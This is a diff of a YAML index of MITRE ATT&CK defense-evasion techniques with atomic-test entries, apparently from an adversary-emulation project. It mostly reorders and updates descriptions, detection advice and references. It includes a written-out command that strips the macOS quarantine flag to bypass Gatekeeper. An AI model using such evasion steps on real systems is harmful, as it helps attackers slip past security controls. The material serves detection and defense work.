-      - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
-        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
-          truly amazing. Retrieved December 16, 2017.
-        source_name: MalwareTech Power Loader Aug 2013
-      - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
-        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
-          on Power Loader code. Retrieved December 16, 2017.
-        source_name: WeLiveSecurity Gapz and Redyms Mar 2013
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
-        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
-          16, 2017.
-        source_name: Microsoft SendNotifyMessage function
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Extra Window Memory Injection
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.004Z'
+      created: '2020-01-14T17:18:32.126Z'
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
       description: "Adversaries may inject malicious code into process via Extra Window
         Memory (EWM) in order to evade process-based defenses as well as possibly
         elevate privileges. EWM injection is a method of executing arbitrary code
@@ -27773,64 +28396,83 @@ defense-evasion:
         system/network resources, and possibly elevated privileges. Execution via
         EWM injection may also evade detection from security products since the execution
         is masked under a legitimate process. "
-      id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:31.004Z'
-      created: '2020-01-14T17:18:32.126Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
       x_mitre_detection: 'Monitor for API calls related to enumerating and manipulating
         EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and
         SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated
         with this technique have also used SendNotifyMessage (Citation: Microsoft
         SendNotifyMessage function) to trigger the associated window procedure and
         eventual malicious injection. (Citation: Elastic Process Injection July 2017)'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/011
+        external_id: T1055.011
+        source_name: mitre-attack
+      - source_name: Microsoft Window Classes
+        description: Microsoft. (n.d.). About Window Classes. Retrieved December 16,
+          2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx
+      - source_name: Microsoft GetWindowLong function
+        description: Microsoft. (n.d.). GetWindowLong function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx
+      - source_name: Microsoft SetWindowLong function
+        description: Microsoft. (n.d.). SetWindowLong function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: MalwareTech Power Loader Aug 2013
+        description: MalwareTech. (2013, August 13). PowerLoader Injection – Something
+          truly amazing. Retrieved December 16, 2017.
+        url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
+      - source_name: WeLiveSecurity Gapz and Redyms Mar 2013
+        description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based
+          on Power Loader code. Retrieved December 16, 2017.
+        url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/
+      - source_name: Microsoft SendNotifyMessage function
+        description: Microsoft. (n.d.). SendNotifyMessage function. Retrieved December
+          16, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx
     atomic_tests: []
   T1070.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1070.004
-        url: https://attack.mitre.org/techniques/T1070/004
-      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
-        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
-          of the Trade. Retrieved December 2, 2015.'
-        source_name: Trend Micro APT Attack Tools
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: File Deletion
+      x_mitre_data_sources:
+      - 'File: File Deletion'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T21:34:16.209Z'
+      created: '2020-01-31T12:35:36.479Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
 
         There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)
-      id: attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-29T21:34:16.209Z'
-      created: '2020-01-31T12:35:36.479Z'
       x_mitre_contributors:
       - Walker Johnson
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
       x_mitre_detection: It may be uncommon for events related to benign command-line
         functions such as DEL or third-party utilities or tools to be found in an
         environment, depending on the user base and how systems are typically used.
@@ -27841,13 +28483,15 @@ defense-evasion:
         network that an adversary could introduce. Some monitoring tools may collect
         command-line arguments, but may not capture DEL commands since DEL is a native
         function within cmd.exe.
-      x_mitre_data_sources:
-      - 'File: File Deletion'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1070/004
+        external_id: T1070.004
+        source_name: mitre-attack
+      - source_name: Trend Micro APT Attack Tools
+        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
+          of the Trade. Retrieved December 2, 2015.'
+        url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
       identifier: T1070.004
     atomic_tests:
     - name: Delete a single file - Linux/macOS
@@ -28094,141 +28738,152 @@ defense-evasion:
         name: powershell
   T1222:
     technique:
-      id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: File and Directory Permissions Modification
-      description: |-
-        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
-
-        Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1222
-        url: https://attack.mitre.org/techniques/T1222
-      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
-        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls1 June 2018
-      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
-        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
-          Retrieved August 19, 2018.
-        source_name: Hybrid Analysis Icacls2 May 2018
-      - url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
-        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
-          with the Windows Security Log. Retrieved August 19, 2018.
-        source_name: EventTracker File Permissions Feb 2014
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: File and Directory Permissions Modification
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'File: File Metadata'
+      x_mitre_version: '2.1'
+      modified: '2021-09-13T21:08:10.406Z'
+      created: '2018-10-17T00:14:20.652Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-09-01T20:05:05.562Z'
-      created: '2018-10-17T00:14:20.652Z'
+      id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196
+      x_mitre_defense_bypassed:
+      - File system access controls
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
       x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
       - Administrator
       - SYSTEM
       - root
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
+      description: |-
+        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
+
+        Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
+      x_mitre_contributors:
+      - CrowdStrike Falcon OverWatch
+      - Jan Miller, CrowdStrike
       x_mitre_detection: |-
         Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
 
         Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)
-      x_mitre_defense_bypassed:
-      - File system access controls
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'File: File Metadata'
-      x_mitre_contributors:
-      - CrowdStrike Falcon OverWatch
-      - Jan Miller, CrowdStrike
-      x_mitre_version: '2.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1222
+        external_id: T1222
+        source_name: mitre-attack
+      - source_name: Hybrid Analysis Icacls1 June 2018
+        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
+      - source_name: Hybrid Analysis Icacls2 May 2018
+        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
+          Retrieved August 19, 2018.
+        url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
+      - source_name: EventTracker File Permissions Feb 2014
+        description: Netsurion. (2014, February 19). Monitoring File Permission Changes
+          with the Windows Security Log. Retrieved August 19, 2018.
+        url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/
     atomic_tests: []
   T1553.001:
     technique:
-      id: attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e
-      description: "Adversaries may modify file attributes that signify programs are
-        from untrusted sources to subvert Gatekeeper controls. In macOS and OS X,
-        when applications or programs are downloaded from the internet, there is a
-        special attribute set on the file called <code>com.apple.quarantine</code>.
-        This attribute is read by Apple's Gatekeeper defense program at execution
-        time and provides a prompt to the user to allow or deny execution. \n\nApps
-        loaded onto the system from USB flash drive, optical disk, external hard drive,
-        or even from a drive shared over the local network won’t set this flag. Additionally,
-        it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).
-        This completely bypasses the built-in Gatekeeper check. (Citation: Methods
-        of Mac Malware Persistence) The presence of the quarantine flag can be checked
-        by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>.
-        Similarly, given sudo access or elevated permission, this attribute can be
-        removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>.
-        (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n
-        \nIn typical operation, a file will be downloaded from the internet and given
-        a quarantine flag before being saved to disk. When the user tries to open
-        the file or application, macOS’s gatekeeper will step in and check for the
-        presence of this flag. If it exists, then macOS will then prompt the user
-        to confirmation that they want to run the program and will even provide the
-        URL where the application came from. However, this is all based on the file
-        being downloaded from a quarantine-savvy application. (Citation: Bypassing
-        Gatekeeper)"
-      name: Gatekeeper Bypass
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1553.001
-        url: https://attack.mitre.org/techniques/T1553/001
-      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
-        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
-          on Mac OS X. Retrieved July 5, 2017.
-        source_name: Methods of Mac Malware Persistence
-      - url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
-        description: Rich Trouton. (2012, November 20). Clearing the quarantine extended
-          attribute from downloaded applications. Retrieved July 5, 2017.
-        source_name: Clearing quarantine attribute
-      - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
-        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
-          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
-        source_name: OceanLotus for OS X
-      - url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
-        description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper.
-          Retrieved July 5, 2017.
-        source_name: Bypassing Gatekeeper
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:41:20.063Z'
-      created: '2020-02-05T16:16:08.471Z'
-      x_mitre_platforms:
-      - macOS
+      name: Gatekeeper Bypass
       x_mitre_data_sources:
       - 'File: File Metadata'
       - 'File: File Modification'
       - 'Process: Process Creation'
       - 'Command: Command Execution'
-      x_mitre_detection: Monitoring for the removal of the <code>com.apple.quarantine</code>
-        flag by a user instead of the operating system is a suspicious action and
-        should be examined further. Monitor and investigate attempts to modify extended
-        file attributes with utilities such as <code>xattr</code>. Built-in system
-        utilities may generate high false positive alerts, so compare against baseline
-        knowledge for how systems are typically used and correlate modification events
-        with other indications of malicious activity where possible.
-      x_mitre_permissions_required:
-      - User
-      - Administrator
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T21:18:30.629Z'
+      created: '2020-02-05T16:16:08.471Z'
+      id: attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e
       x_mitre_defense_bypassed:
       - Application control
       - Anti-virus
+      x_mitre_platforms:
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called <code>com.apple.quarantine</code> can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the <code>dlopen</code> function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)
+
+        The quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the <code>com.apple.quarantine</code> quarantine flag can be checked with the xattr command <code>xattr -l /path/to/examplefile</code>. Similarly, this attribute can be recursively removed from all files in a folder using xattr, <code>sudo xattr -d com.apple.quarantine /path/to/folder</code>.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)
+
+        Apps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the <code>curl</code> command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: "The removal of the <code>com.apple.quarantine</code> flag
+        by a user instead of the operating system is a suspicious action and should
+        be examined further. Monitor and investigate attempts to modify extended file
+        attributes with utilities such as <code>xattr</code>. Built-in system utilities
+        may generate high false positive alerts, so compare against baseline knowledge
+        for how systems are typically used and correlate modification events with
+        other indications of malicious activity where possible. Monitor software update
+        frameworks that strip the <code>com.apple.quarantine</code> flag when performing
+        updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code>
+        entry in an application's <code>Info.plist</code> file (required by every
+        application). <code>false</code> under <code>LSFileQuarantineEnabled</code>
+        indicates that an application does not use the quarantine flag. Unsandboxed
+        applications with an unspecified <code>LSFileQuarantineEnabled</code> entry
+        will default to not setting the quarantine flag. \n\nQuarantineEvents is a
+        SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code>
+        attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>.
+        Each event contains the corresponding UUID, timestamp, application, Gatekeeper
+        score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine
+        and the flag)"
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1553/001
+        external_id: T1553.001
+        source_name: mitre-attack
+      - url: https://eclecticlight.co/2020/08/28/how-notarization-works/
+        description: How Notarization Works. (2020, August 28). How notarization works.
+          Retrieved September 13, 2021.
+        source_name: 'TheEclecticLightCompany apple notarization '
+      - source_name: Bypassing Gatekeeper
+        description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper.
+          Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
+      - url: https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/
+        description: hoakley. (2020, October 29). Quarantine and the quarantine flag.
+          Retrieved September 13, 2021.
+        source_name: TheEclecticLightCompany Quarantine and the flag
+      - url: https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/
+        description: Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again).
+          Retrieved September 22, 2021.
+        source_name: theevilbit gatekeeper bypass 2021
+      - source_name: Methods of Mac Malware Persistence
+        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
+          on Mac OS X. Retrieved July 5, 2017.
+        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
+      - source_name: Clearing quarantine attribute
+        description: Rich Trouton. (2012, November 20). Clearing the quarantine extended
+          attribute from downloaded applications. Retrieved July 5, 2017.
+        url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/
+      - source_name: OceanLotus for OS X
+        description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application
+          Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.
+        url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
       identifier: T1553.001
     atomic_tests:
     - name: Gatekeeper Bypass
@@ -28251,43 +28906,30 @@ defense-evasion:
         name: sh
   T1484.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1484.001
-        url: https://attack.mitre.org/techniques/T1484/001
-      - source_name: TechNet Group Policy Basics
-        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
-        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
-          Understanding the Structure of a Group Policy Object. Retrieved March 5,
-          2019.'
-      - source_name: ADSecurity GPO Persistence 2016
-        url: https://adsecurity.org/?p=2716
-        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
-          #17: Group Policy. Retrieved March 5, 2019.'
-      - source_name: Wald0 Guide to GPOs
-        url: https://wald0.com/?p=179
-        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
-          OUs. Retrieved March 5, 2019.
-      - source_name: Harmj0y Abusing GPO Permissions
-        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
-        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
-          March 5, 2019.
-      - source_name: Mandiant M Trends 2016
-        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
-        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
-          March 5, 2019.
-      - source_name: Microsoft Hacking Team Breach
-        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
-        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
-          A Cyber Jurassic Park. Retrieved March 5, 2019.'
-      - source_name: Harmj0y SeEnableDelegationPrivilege Right
-        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
-        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
-          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Group Policy Modification
+      x_mitre_data_sources:
+      - 'Active Directory: Active Directory Object Creation'
+      - 'Active Directory: Active Directory Object Deletion'
+      - 'Active Directory: Active Directory Object Modification'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T15:52:24.315Z'
+      created: '2020-12-28T21:50:59.844Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
         the intended discretionary access controls for a domain, usually with the
         intention of escalating privileges on the domain. Group policy allows for
@@ -28317,20 +28959,9 @@ defense-evasion:
         to achieve a subtle AD backdoor with complete control of the domain because
         the user account under the adversary's control would then be able to modify
         GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
-      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-02-09T15:52:24.315Z'
-      created: '2020-12-28T21:50:59.844Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - User
+      x_mitre_contributors:
+      - Itamar Mizrahi, Cymptom
+      - Tristan Bennett, Seamless Intelligence
       x_mitre_detection: |-
         It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:
 
@@ -28342,62 +28973,131 @@ defense-evasion:
 
 
         GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
-      x_mitre_data_sources:
-      - 'Active Directory: Active Directory Object Creation'
-      - 'Active Directory: Active Directory Object Deletion'
-      - 'Active Directory: Active Directory Object Modification'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Itamar Mizrahi, Cymptom
-      - Tristan Bennett, Seamless Intelligence
-      x_mitre_platforms:
-      - Windows
-    atomic_tests: []
-  T1564.005:
-    technique:
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
-        external_id: T1564.005
-        url: https://attack.mitre.org/techniques/T1564/005
-      - source_name: MalwareTech VFS Nov 2014
-        url: https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
-        description: Hutchins, M. (2014, November 28). Virtual File Systems for Beginners.
-          Retrieved June 22, 2020.
-      - url: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
-        description: 'Andonov, D., et al. (2015, December 7). Thriving Beyond The
-          Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved
-          May 13, 2016.'
-        source_name: FireEye Bootkits
-      - source_name: ESET ComRAT May 2020
-        url: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
-        description: 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year
-          journey. Retrieved June 15, 2020.'
-      - source_name: Kaspersky Equation QA
-        description: 'Kaspersky Lab''s Global Research and Analysis Team. (2015, February).
-          Equation Group: Questions and Answers. Retrieved December 21, 2015.'
-        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
+      - url: https://attack.mitre.org/techniques/T1484/001
+        external_id: T1484.001
+        source_name: mitre-attack
+      - url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
+        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
+          Understanding the Structure of a Group Policy Object. Retrieved March 5,
+          2019.'
+        source_name: TechNet Group Policy Basics
+      - url: https://adsecurity.org/?p=2716
+        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
+          #17: Group Policy. Retrieved March 5, 2019.'
+        source_name: ADSecurity GPO Persistence 2016
+      - url: https://wald0.com/?p=179
+        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
+          OUs. Retrieved March 5, 2019.
+        source_name: Wald0 Guide to GPOs
+      - url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
+        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
+          March 5, 2019.
+        source_name: Harmj0y Abusing GPO Permissions
